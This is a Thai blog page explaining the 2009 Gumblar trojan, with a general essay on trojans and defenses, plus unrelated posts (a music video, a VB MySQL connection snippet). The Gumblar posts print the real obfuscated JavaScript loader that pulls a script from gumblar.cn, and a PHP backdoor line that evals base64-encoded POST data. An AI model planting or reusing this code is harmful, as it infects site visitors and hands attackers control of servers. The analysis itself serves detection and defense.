เผยความลับ 12 ข้อของ Gumblar - สุดยอดโทรจันป่วนเน็ต

. Thursday, August 27, 2009
0 comments

..... ทุกๆ คนย่อมมีความลับ และความลับไม่มีในโลก เช่นเดียวกันกับ Gumblar อย่างน้อยก็ให้ได้รู้จักว่ารูปร่างหน้าตาเป็นอย่างไร จะได้รู้ทางหนีทีไล่และวิธีป้องกันที่ถูกต้องกับ Trojan ตัวนี้ และตัวอื่นๆ ที่อยากใช้แนวทางคล้ายๆ กัน

  1. เว็บเพจที่ติด Gumblar จะมี Script หน้าตาแปลกๆ แบบนี้ (จากตอนที่ 1)
    (function(jil){var xR5p='%';eval(unescape(('var"20a"3d"22Sc"72iptEngin"65"22"2c"62"3d"22"56ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"75s"65rAgent"3bif(("75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2e"69n"64exO"66("22NT"20"36"22"29"3c0)"26"26(documen"74"2ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3c0)"26"26"28t"79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"22A"22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"61jo"72"22+"62"2ba+"22Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22j"3b"22)"3bdocu"6de"6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2f"73cript"3e"22"29"3b"7d').replace(jil,xR5p)))})(/"/g);
  2. แต่ละเว็บไซต์ที่ติด Gumblar จะมี Script หน้าตาต่างๆ กันไปแต่ก็เรียกเหมือนกันว่า gumblar.cn และสามารถสังเกตได้จากลักษณะคล้ายๆ กันดังนี้
    1. script ขึ้นต้นด้วย “(function(“
    2. function จะไม่มีชื่อ (เป็น function ที่เรียกตัวเองทำงาน)
    3. script มีการเข้ารหัสดูซับซ้อน และเครื่องหมาย % จะถูกเปลี่ยนไปเป็นตัวอื่นเพื่อให้ตรวจพบและเข้าใจยาก ตัวอย่างเช่น
      "…20a.3d.22Sc.72iptEngin.65…",
      "…~76ar~20a~3d~22Scr~69~70~74En~67~69ne…",
      "…v_61_72_20_61_3d_22_53_63rip_74E_6e…"
      (ในตัวอย่างเครื่องหมาย % ถูกเปลี่ยนเป็น ~)
    4. ใกล้ๆ ตอนท้ายของ funtion มี ".replace(" function
    5. ถ้า function มีการรับค่าต่างๆ ใกล้ส่วนท้ายสุดจะเห็นคำสั่ง regular expression เช่น /"/g or /~/g ฯลฯ ที่ใช้ถอดรหัสจากการเข้ารหัสเครื่องหมาย % ในข้อ 3
      เมื่อ decode ถอดรหัสกลับมาเป็น php แล้ว จะมีหน้าตาแบบนี้ ...
      if(isset($_POST['e']))eval(base64_decode($_POST['e']));echo ‘36342b3138372e3230312e3232353a7a69636f6c613e70657464726c61′Gumblar สามารถเรียกใช้คำสั่ง php ได้หมดผ่านคำสั่งนี้
  3. เมื่อ script ถูกเรียกใช้งาน (เมื่อมีการเรียกดูเว็บเพจที่มี script gumblar อยู่) อีก script หนึ่ง จาก gumblar.cn/rss จะถูกแอบดาวน์โหลดมาและเรียกให้ทำงานแบบเงียบๆ
  4. โดยปกติแล้ว Gumblar script จะถูกแทรกไว้ก่อน (ในไฟล์ .html)
  5. บางทีก็พบ Gumblar ในรูปแบบ โทรจัน iframe ซึ่งชี้ไปยังหน้าที่ติด gumblar อีกทีั
  6. GumBlar ต่างจาก โทรจัีน iframe อื่นๆ ที่มักจะัติดแค่ไฟล์ที่มักใช้กันบ่อยๆ เช่น index.html, index.php แต่ Gumblar ติดได้ทุกๆ ไฟล์ เนื่องจาก Gumblar เข้าใช้งานผ่านโปรแกรม ftp ทำให้เ้ห็นไฟล์ทั้งหมดที่มีอยู่
  7. ในไฟล์จาวาสคริปต์ .js โค๊ดของ Gumblar จะอยู่บรรทัดสุดท้าย
  8. เท่าที่พบ Gumblar จะติดเว็บไซต์ที่ใช้ PHP ถึง 95% แต่ส่วนที่เหลือก็อาจติดก็เป็นไปได้
  9. Gumblar ไม่ได้ใช้ช่องโหว่หรือจุดอ่อนของ PHP เพราะโปรแกรมที่น่าเชื่อถือต่างๆ เช่น Wordpress, Joomla, phpBB, SMF ฯลฯ ก็ยังติด Gumblar ได้เนื่องจาก Gumblar ใช้วิธีฝังตัวเองผ่านโปรแกรม FTP ดังข้อ 6
  10. สำหรับไฟล์ .php แล้ว Gumblar จะอยู่บรรทัดบนสุด และมีหน้าตาดังนี้

  11. Gumblar ไม่ได้เป็น Server-Wide Exploit คือจะไม่ติดไปยังเว็บอื่นใน server เดียวกัน เพราะ Gumblar จะเข้าไปฝังตัวเองจากโปรแกรม ftp จากเครื่องที่ติดเท่านั้น ไม่สามารถเข้าไปยัง account อื่นได้เนื่องจากอยู่คนละ account
  12. Gumblar.cn เป็นเว็บไซต์ที่ Google จัดว่าเป็น Blacklist

Gumblar : สุดยอดโทรจัน - ปั่นหัวนักท่้องเว็บ

.
0 comments

(function(jil){var xR5p='%';eval(unescape(('var"20a"3d"22Sc"72iptEngin"65"22"2c"62"3d"22"56ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"75s"65rAgent"3bif(("75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2e"69n"64exO"66("22NT"20"36"22"29"3c0)"26"26(documen"74"2ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3c0)"26"26"28t"79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"22A"22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"61jo"72"22+"62"2ba+"22Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22j"3b"22)"3bdocu"6de"6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2f"73cript"3e"22"29"3b"7d').replace(jil,xR5p)))})(/"/g);

..... เอาไวรัสมาปล่อยกันหรือเปล่า จากโค้ดด้านบน? ... ใช่ครับแต่ก็ไม่เชิงเพราะมันเป็น code ของ Trojan ชื่อ Gumblar เพื่อนของไวรัสซึ่้งก่อกวนผู้ใช้คอมพิวเตอร์และอินเทอร์เน็ตเหมือนกัน โทรจันตัวนี้แพร่ระบาดไปอย่างรวดเร็วแม้กระทั่งเว็บไซต์ดังๆ เช่น Tennis.com, Variety.com และ Coldwellbanker.com ก็ยังติดเข้าไปด้วย โดยการเข้าไปที่โปรแกรม FTP ของเครื่องแล้วมองหาไฟล์ต่างๆ ในเว็บเซิร์ฟเวอร์ แล้วฝังตัวเองไว้ในไฟล์นั้นโดยหน้าตา code ที่ถูกฝังเข้าไปก็เป็นอย่างข้างต้น

IBM Internet Security Systems ให้รายเอียดว่า "Gumblar is a botnet that infects Web servers and  infected Web site visitors for the purposes of installing malcode  on Personal Computers (PCs) that redirects end-user Google searches to fraudulent Web sites." ซึ่งหมายความว่า "Gumblar เป็น botnet ที่จะติดเซิร์ฟเวอร์และผู้เข้าเว็บไซต์ที่มีตัวมันอยู่ โดยจะติดตั้ง malcode (โปรแกรมก่อกวนต่างๆ ) บนเครื่องคอมพิวเตอร์ ซึ่งผู้ใช้ Google ค้นหาข้อมูลจะถูก redirect พาไปยังเว็บไซต์เป้าหมาย (เว็บหลอกลวง) ต่างๆ"

..... Gumblar เริ่มออกระับาดเดือนมีนาคม 2009 และัในเดือนพฤษภาคมก็เพิ่มขึ้นกว่า 188% พบว่าข้อมูลเว็บไซต์ทั่วโลกที่ติด Trojan แล้ว Gumblar ครองแชมป์อันดับหนึ่งถึง 42% รู้จักกันในชื่อว่า Troj/JSRedir-R หรือ Troj/PHPMod-A และรองชนะเลิศอันดับที่ 1 คือ Mal/Iframe-F ที่ครองไปอยู่ 7% เห็นได้ว่า Gumblar ทิ้งห่างอย่างขาดรอย

 
..... การโจมตีของ Gumblar แบ่งเป็นช่วงๆ หลังจากเริ่มเมื่อเดือนมีนาคมจนระบาดไปมากแล้ว พอถึงราวต้นเดือนพฤษภาคมเหล่าเว็บมาสเตอร์ก็เริ่มทยอยกำจัด และในขณะเดียวกัน Gumblar ก็ได้เปลี่ยน code ตัวเองโดยสร้าง code ใหม่โดย Javascript ที่ซับซ้อน เมื่อ code ได้เปลี่่ยนไปแล้วก็ทำให้โปรแกรม Antivirus ต่างๆ ตรวจไม่พบอีกเพราะ Signature ที่เปลี่ยนไป
การทำงานของ Gumblar
..... สำหรับฝั่ง Client Side หรือเครื่องผู้ใช้ที่ติืด Gumblar จะใช้ช่องโหว่ (Exploit) Adobe Reader และ Flash ไปแก้ไขผลการ Search จาก Google เมื่อใช้ Internet Explorer ในการค้นหาข้อมูล และเข้าใช้โปรแกรม FTP ที่มีอยู่ในเครื่่องเข้าไปใส่ Code โดยวิธีการที่เรียกว่า Code Injection เข้าไปในไฟล์ประเภท .php .js .html ฯลฯ ทำให้เมื่อมีผู้เข้าใช้เว็บไซต์นั้นแทนที่จะแสดงหน้าเว็บเพจที่ถูกต้อง กลับถูก Redirect ไปยังเว็บไซต์จีนเว็บหนึ่งแต่ใช้โฮสในรัสเซีย และต่อจากนั้นก็จะพยายามเปิดไฟล์ PDF และ SWF ที่ยังมีช่องโหว่ความปลอดภัยอยู่ แล้วติดตั้ง malware ชื่อ Troj/Daonol-Fam

..... การโจมตีของ Gumblar แบ่งเป็นช่วงๆ หลังจากเริ่มเมื่อเดือนมีนาคมจนระบาดไปมากแล้ว พอถึงราวต้นเดือนพฤษภาคมเหล่าเว็บมาสเตอร์ก็เริ่มทยอยกำจัด และในขณะเดียวกัน Gumblar ก็ได้เปลี่ยน code ตัวเองโดยสร้าง code ใหม่โดย Javascript ที่ซับซ้อน เมื่อ code ได้เปลี่่ยนไปแล้วก็ทำให้โปรแกรม Antivirus ต่างๆ ตรวจไม่พบอีกเพราะ Signature ที่เปลี่ยนไป

ลักษณะอาการหลังจากติด Gumblar แล้ว
  1. Gumblar อาจถูกติดตั้งโดยไม่รู้ตัว จากการ Download โปรแกรมต่างๆ พวก Freeware/Shareware ซึ่งอาจมี Gumblar ติดมาด้วย เมื่อติดตั้งแล้ว Gumblar สามารถเปลี่ยนแปลงระบบความปลอดภัยได้ ก็สามารถแอบส่งข้อมูลสำคัญออกไป
  2. Gumblar คอยดูพฤติกรรมการท่องเว็บของผู้ใช้ หรือดูการกดแป้นต่างๆ ทั้งหมด ส่งกลับไป ต่อจากนั้นก็วิเคราะห์แล้วส่งโฆษณาที่เกี่ยวข้องกับพฤติกรรมกลับมา และขายพฤติกรรมการท่องเว็บและข้อมูลสำคัญต่างๆ ของผู้ใช้ให้กับคนอื่นต่อๆ ไป หากเป็นข้อมูลสำคัญอย่างเช่นการใช้ธนาคารทางอินเทอร์เน็ต อาจสร้างความเสียหายเป็นอย่างสูงได้
  3. Gumblar จะส่งป๊อบอัพโฆษณามารบกวน เมื่อได้รับข้อมูลพฤติกรรมการท่องเว็บแล้ว ก็จะส่งโฆษณามารบกวนตลอดในขณะใช้งานอินเทอร์เน็ต หรือแม้่กระทั่งขณะทำงานอย่างอื่น หรือเมื่อคอมพิวเตอร์ยังไม่ได้ใช้งานแล้วเปิดทิ้่งไว้
  4. Gumblar อาจเปลี่ยนแปลงค่าต่างๆ ใน Web browser และส่งเราไปยังหน้าอื่นๆ หรือติดตั้งทูลบาร์ต่างๆ บน Browser และไม่สามารถเอาออกได้
  5. Gumblar ทำให้ระบบโดยรวมของเครื่องช้าลง หากสังเกตได้ว่าเครื่องทำงานช้าลง หรือค้างบ่อยๆ เนื่องจากมีโปรแกรมอื่นทำงานแย่งทรัพยากรระบบแบบซ่อนตัวอยู่ (resident) สันนิษฐานได้ว่าเครื่องติดโปรแกรมต่างๆ ที่ไม่ต้องการรวมถึง Gumblar เช่นกัน
[Gumblar : ตอน 2 | เผยความลับ 12 ข้อเกี่ยวกับ Gumblar]

Trojan (โทรจัน) - ม้าไม้แห่งทรอย, ของกำนัลสู่ความพินาศ

.
0 comments

..... โทรจัน (Trojan) มาจากคำเต็มๆ ว่า Trojan Horse หรือม้าไม้แห่งโทรจัน (โทรจันคือชาวทรอย เหมือนคำว่า Japanese ตือชาวญี่ปุ่น) หากได้ดูหนังเรื่อง Troy ที่แบร็ด พิตต์ นำแสดงจะเห็นว่าเมืองทรอยที่เข้มแข็งด้วยกำแพงที่หนาแน่นทำให้ข้าศึกไม่สามารถเอาชนะได้เสียที ต้องมาพ่ายแพ้กับของกำนัลซึ่งเป็นม้าไม้ตัวใหญ่ๆ ตัวหนึ่งที่ข้าศึกแสร้งมอบให้แสดงไมตรี ชาวทรอยก็ดีใจตั้งไว้กลางเืมือง พอตกดึกมาทหารยอดฝีมือก็เปิดประตูออกจากม้าไม้แล้วไปเปิดประตูเมืองทรอยจากด้านใน ให้กองทัพที่ซุ่มโจมตีอยู่บุกเข้าเมืองมาถล่มทรอยได้อย่างง่ายดาย

..... ในด้านคอมพิวเตอร์ Trojan ก็เป็นโปรแกรมที่ทำงานเหมือนม้าไม้ที่ถูกส่งเข้ามาตั้งในระบบเราอย่างเงียบๆ ในมุมมองโปรแกรมเมอร์แล้ว หากเราเขียนโปรแกรม Host (โปรแกรมแม่) แบบ TCP/IP หรือ UDP ขึ้นมาสักโปรแกรมหนึ่ง แล้วใส่เข้าไปในเครื่องเป้าหมาย แล้วที่เครื่องเราเองก็มีโปรแกรม Client (โปรแกรมลูก) ถ้าเป็นสมัยก่อนเราก็ติดต่อในทาง Network ภายใน แต่สมัยนี้ก็ทางอินเทอร์เน็ตได้เลย ทำให้เราสามารถควบคุมเครื่องทุกเครื่องที่มีโปรแกรม Hostเราซ่อนอยู่จากที่ใดๆ ก็ได้ในโลก

..... หากโปรแกรม Host ที่เราเขียนขึ้นมา แล้วใส่คุณสมบัติแบบ Virus เข้าไปให้แพร่กระจายตัวเองได้อีกโดยวิธีต่างๆ ที่เหล่านักสร้าง Virus คิดกันขึ้นมาโดยวิธีแยบยล (ส่วนตัวผมว่านักสร้าง Virus เหล่านี้ ส่วนใหญ่ก็เป็น Software/OS Engineer ไปในตัว โดยรู้ตัวหรือไม่รู้ตัว) เมื่อโปรแกรม Host แพร่ไปในที่ต่างๆ แล้ว จากกลุ่มเล็กๆ ไปกลุ่มใหญ่ๆ สู่ทั่วโลก แล้วก็คอยส่งข้อมูลต่างๆ ที่ผู้โปรแกรมเมอร์ผู้สร้างต้องการ กลับมาบอกผู้สร้างในรูปแบบต่างๆ เช่น ส่งเมล์มาบอกว่าตอนนี้อยู่ที่เครื่องไหน, จากประเทศไหน (ได้จาก IP Address ของผู้ที่ติดขณะนั้น), ดูไฟล์ทุกๆ ไฟล์ในเครื่องพร้อม download ได้, ส่งหน้าจอที่แสดงอยู่ขณะนี้กลับมาให้ดู, แอบเปิด/ปิด เว็บแคม, ส่งรหัสผ่านต่างๆ เช่น รหัสผ่านเข้าเครื่อง อีเมล์, ข้อมูล Internet Banking ฯลฯ สารพัด ที่เป็นความลับ หรือไม่ลับ กลับมา ได้ทุกๆ อย่าง เสมือนเป็นเครื่องของตัวเอง โดยหลักการแล้วโปรแกรม Host แบบนี้จัดเป็นโทรจัน และโทรจันแบ่งออกเป็นประเภทต่างๆ ตามลักษณะการทำงาน คืิอ Backdoors, General Trojans, PSW Trojans, Trojan Clickers, Trojan Downloaders, Trojan Droppers, Trojan Proxies, Trojan Spies, Trojan Notifiers, ArcBombs, Rootkits (>> ประเภทของ Trojan)

การแก้ไข/กำจัด Trojan
..... โดยปกติแล้ว Malware (โปรแกรมที่ทำงานด้านไม่ดี เช่น Virus, Trojan, Worm ... ) ต่างๆ ซึ่ง Trojan ก็เป็นหนึ่งใน Malware จะถูกตรวจพบและกำจัดทิ้งโดยโปรแกรม Antivirus ทั่วไปได้ เช่น Nod, Bitdefender, McAfee ฯลฯ ทำงานโดยตรวจเช็คจากการเทียบจาก Malware Signature (ชุดคำสั่ง) ของ Malware ต่างๆ กับฐานข้อมูลที่มีอยู่ในโปรแกรมซึ่งมีหลายล้านประเภท เมื่อตรวจพบว่าตรงกันก็ทำการกำจัดทิ้งทางเทคนิค ดังนั้นการกำจัด Trojan ก็ทำได้โดยติดตั้งโปรแกรม Antivirus เหล่านี้แล้วทำการ Scan ทั้งหมดอย่างละเอียดจะดีที่สุด แต่อย่าลืมว่ามี Malware ใหม่ๆ เกิดขึ้นตลอดเวลา และผู้สร้างโปรแกรม Antivirus ก็ต้องค้นหา Signature และหาวิธีกำจัดอย่างต่อเนื่อง และหากเราติด Malware ตัวใหม่ๆ ที่โปรแกรมที่ใช้อยู่ยังตรวจไม่พบ เราก็จะติดโดยปริยาย ดังนั้นนอกจากกำจัดแล้วยังต้องป้องกันใ้ห้เป็นอีกด้วย

  • Update Signature
    เมื่อติดตั้งโปรแกรม Antivirus แล้ว ก็ต้องปรับปรุงอัพเดต Signature Database อย่างต่อเนื่องเช่นกัน โดยปกติแล้วหากโปรแกรมมีการอัพเดตจะแจ้งผู้ใช้ หรืออาจอัพเดตเองโดยอัตโนมัติซึ่งสามารถเลือกได้ เพื่อให้โปรแกรมเรารู้จัก Malware ตัวใหม่ๆ แล้วโปรแกรมก็จะเฝ้ามองพฤติกรรมของโปรแกรมอื่นๆ ที่เราใช้งานอยู่ หากพบว่าทำงานเป็น Malware ก็จะแจ้งและกำจัดได้ในทันที
  • ระวังไฟล์/โปรแกรมที่มีผู้ส่งมา
    ให้ระวังไฟล์ต่างๆ ทางอีเมล์ หรือโปรแกรม Messenger ต่างๆ เช่น msn (Windows Live Messenger, Yahoo, QQ ฯลฯ) ต้องให้มั่นใจว่าส่งมาจากคนที่เรารู้จักเท่านั้นจึงรับไว้ แต่ก่อนจะเปิดใช้งานก็ยังต้อง Scan ด้วยโปรแกรม Antivirus อีกทุกครั้ง เพราะถึงแม้จะรู้จักผู้ที่ส่งมาแต่ผู้ส่งอาจติด Malware ที่เครื่องของเขาโดยไม่รู้ตัว ทำให้่ไฟล์ที่ส่งมาอาจติดมาตัวไม่รู้ตัวอีกเช่นกัน
  • นักใช้ของเถื่อน ต้องระวังอย่างมาก !!!
    โปรแกรมต่างๆ ที่ดาวน์โหลดได้จากเว็บไม่ถูกต้องต่างๆ ที่มี keygen, crack ฯลฯ แถมมาให้ด้วย เพื่อให้สามารถสร้างรหัสผ่านหรือแก้โปรแกรมจากรุ่นทดลองให้กลายเป็นรุ่นที่ลงทะเบียนแล้วหรือตัวจริง โปรแกรมเหล่านี้มักแถม malware มาให้ ดังนั้นต้องระวังโดยการ Scan ให้ดีเช่นกัน
  • Macro Virus Protection is enabled
    ควรป้องกันไว้ก่อนแม้จะชื่อว่า Macro Virus ก็ตาม ก็อาจทำตัวเป็น Trojan ได้เช่นกัน Malware พวกนี้จะอยู่ในลักษณะเป็นโปรแกรม หรือ script เล็กๆ ที่ติดมากับเอกสารต่างๆ ได้เช่น word, excel, powerpoint ฯลฯ ในกลุ่มของ Microsoft ให้ไปที่ส่วน Setting ของโปรแกรมที่ใช้แล้วให้ Enable Macro Virus Protection เสมอ และเมื่อเปิดไฟล์หรือเอกสารต่างๆ หากไม่รู้จักการเขียนโปรแกรม Macro อยู่แล้วก็ปิดส่วนนี้ไปเลย และเมื่อมีผู้ส่งไฟล์พวกนี้มากับอีเมล์สังเกตได้จากนามสกุลไฟล์จะเป็น .doc, .docx, xls, xlsx, รูปภาพ .gif ฯลฯ อย่าคลิกโดยตรง ให้ scan ก่อนเสมอเช่นกัน ตัวอย่างการเข้าไปตั้งค่าในโปรแกรม Microsoft Word ให้เข้าไปที่ ...
    Tools -> Macro -> Securities ... (แล้วเลือกตามภาพ)

..... การใช้อินเทอร์เน็ตปัจจุบันเปลี่ยนไปมาก มีผู้คร่ำเคร่งร่ำเรียนวิชาทั้งด้านมืดและสว่าง คอยผลิตผลงานออกมาอย่างไม่ขาดสาย Trojan บางตัวเองก็ยังถูกพัฒนาเป็นเครื่องมือการตลาดทาง cyber ที่คอยขุดข้อมูลต่างๆ ของผู้ใช้งานส่งกลับมาวิเคราะห์ หรือแม้กระทั่งพยายามยัดเยียดโฆษณาเข้าไปเมื่อเวลาเปิดเว็บไซต์ หรือหากอยู่ในเครื่องผู้ที่ทำเว็บไซต์หรือกลุ่มเว็บมาสเตอร์ทั้งหลายแล้ว ก็แอบเอาข้อมูลรหัสผ่านเพื่อเข้าไปแก้ไขเว็บไซต์เองทั้งหมดโดยอัตโนมัติแล้วแทรกตัวเองเข้าไปเพื่อให้หน้าเว็บเพจต่างๆ เรียกโฆษณาของตนขึ้นมา เมื่อ Search Engine ตรวจเจอ เว็บนั้นก็จะถูกตั้งข้อหาเองว่าเป็นเว็บที่ไม่ปลอดภัยโดยแสดงหน้า Warning เตือนสีแดงๆ (ดูแล้วน่ากลัว) ผู้เข้าชมก็จะไม่กล้าเข้าเว็บนั้นสร้างความเสียหายไม่น้อย และแก้ไขยากเพราะตัว Trojan แทรกรหัสเข้าไปอย่างเยี่ยมยอด (จะเล่าต่อไปในเรื่อง Gumblar : สุดยอดโทรจันปั่นหัวเว็บมาสเตอร์)

..... แม้ Trojan และ Malware จะมีอยู่มากมายและเกิดขึ้นใหม่เรื่อยๆ ก่อกวนแล้วสร้างปัญหามากเพียงใด หากเราใช้งานด้วยสติ และทำตามหลักง่ายๆ ข้างต้นก็ช่วยให้ปลอดภัยไปได้มากแม้จะไม่ 100% เพราะเหล่านักก่อกวนก็คอยคิดค้นเทคนิคต่างๆ มาเรื่อยๆ แต่ผู้สร้าง Antivirus ก็เฝ้าติดตามอย่างต่อเนื่องให้โปรแกรมมีประสิทธิภาพสูงสุดเพื่อจะทำยอดขายได้สูงๆ และตัวเราผู้ใช้งานก็สามารถติดตามศึกษาวิธีป้องกันและเทคนิคต่างๆ ที่เค้าใช้ในการสร้างว่าทำงานอย่างไร เป็นการเพิ่มทักษะและความรู้ไปด้วย ยุคนี้หากอยู่เฉยๆ ไม่ศึุกษาอะไรไม่ใช่เป็นการหยุดนิ่งเหมือนแต่ก่อนแล้ว เพราะคนส่วนใหญ่พยายามวิ่งไปข้างหน้าตลอดเวลา หากกระโดดได้คงกระโดดไปแล้ว

tonimaxx@Jaroos.com
27 สิงหาคม 2552

(Elton John) Your Song - Sungha Jung

. Friday, August 07, 2009
0 comments

Amazing Korean boy !!!

How to connect mySQL by VB

. Wednesday, September 12, 2007
0 comments

Dim strDataBaseName As String
Dim strDBCursorType As String
Dim strDBLockType As String
Dim strDBOptions As String
Dim rs As ADODB.Recordset
Dim cn As ADODB.Connection

Private Sub Command1_Click()
On Error GoTo Command1_Click_Error
Dim b as Long
strDBCursorType = adOpenDynamic 'CursorType
strDBLockType = adLockOptimistic 'LockType
strDBOptions = adCmdText 'Options

Set cn = New ADODB.Connection
Me.MousePointer = 11

cn.Open ConnectString()

With cn
.CommandTimeout = 0
.CursorLocation = adUseClient
End With

Set rs = New ADODB.Recordset 'Creates record set

strSQL = ""

rs.Open strSQL, cn, strDBCursorType, strDBLockType, strDBOptions


if rs.Eof then
Goto ExitSub
else
For b = 1 To rs.RecordCount
'
Next b
end if

ExitSub:

rs.Close
Set rs = Nothing
cn.Close
Set cn = Nothing

On Error GoTo 0
Exit Sub

Command1_Click_Error:
MsgBox "Error " & Err.Number & " (" & Err.Description & ") & _
in procedure Command1_Click of Form " & Me.Name
End Sub

Private Function ConnectString() As String
Dim strServerName as String
Dim strDatabaseName as string
Dim strUserName as string
Dim strPassword as string

'Change to IP Address if not on local machine
'Make sure that you give permission to log into the
'server from this address
'See Adding New User Accounts to MySQL
'Make sure that you d/l and install the MySQL Connector/ODBC 3.51 Driver

strServerName = "localhost"
strDatabaseName = "DatabaseName"
strUserName = "UserName"
strPassword ="Password"

ConnectString = "DRIVER={MySQL ODBC 3.51 Driver};" & _
"SERVER=" & strServerName & _
";DATABASE=" & strDatabaseName & ";" & _
"USER=" & strUserName & _
";PASSWORD=" & strPassword & _
";OPTION=3;"

End Function